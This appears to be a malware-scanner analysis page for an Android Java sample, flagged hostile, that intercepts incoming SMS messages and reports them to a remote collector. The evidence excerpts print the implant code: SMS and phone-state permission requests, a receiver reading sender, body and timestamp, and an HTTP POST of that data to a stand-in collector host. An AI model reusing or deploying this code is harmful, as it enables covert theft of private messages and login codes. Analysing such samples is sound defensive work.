Hostile 100% java Download

sms-report-interceptor.java

Exfiltrates SMS to remote collector

Android source requests SMS control and phone data accessAndroid intercepted SMS content reported over HTTP POST
SHA-256148248a0c559b6711bcfb78a513a1bb2049a97714640326826fb4c67ae753448

Evidence

Android framework Java API import lines 1–14
1package com.example.smssync;
2
3import android.content.BroadcastReceiver;
4import android.content.Context;
5import android.content.Intent;
6import android.os.Bundle;
7import android.telephony.SmsMessage;
8
9import java.io.OutputStream;
10import java.net.HttpURLConnection;
11import java.net.URL;
12
13// Partial implant: intercepts newly received SMS and reports sender/body
14// to a remote collector over HTTP. No call diversion, no launcher hiding,
Android source reads SMS message body lines 16–46
16:37… tends BroadcastReceiver {
17
18 static final String COLLECTOR = "http://example-collector.invalid";
19
20 static final String[] REQ = {
21 "android.permission.SEND_SMS",
22 "android.permission.RECEIVE_SMS",
23 "android.permission.READ_SMS",
24 "android.permission.READ_PHONE_STATE",
25 };
26
⋯4 lines
31 @Override
32 public void onReceive(Context ctx, Intent intent) {
33 if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
34 Bundle b = intent.getExtras();
35 Object[] pdus = (Object[]) b.get("pdus");
36 for (Object pdu : pdus) {
37 SmsMessage m = SmsMessage.createFromPdu((byte[]) pdu);
38 String from = m.getOriginatingAddress();
39 String body = m.getMessageBody();
40 long ts = m.getTimestampMillis();
41 report(from, body, ts);
⋯5 lines
Java/Kotlin HTTP POST request method lines 47–55
47:9… try {
48 HttpURLConnection conn =
49 (HttpURLConnection) new URL(COLLECTOR + "/api/v1/sms/report").openConnection();
50 conn.setRequestMethod("POST");
51 conn.setDoOutput(true);
52 conn.setRequestProperty("Content-Type", "application/json");
53 OutputStream out = conn.getOutputStream();
54 String payload = "{\"from\":\"" + from + "\",\"body\":\"" + body
55 + "\",\"ts\":" + ts + …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.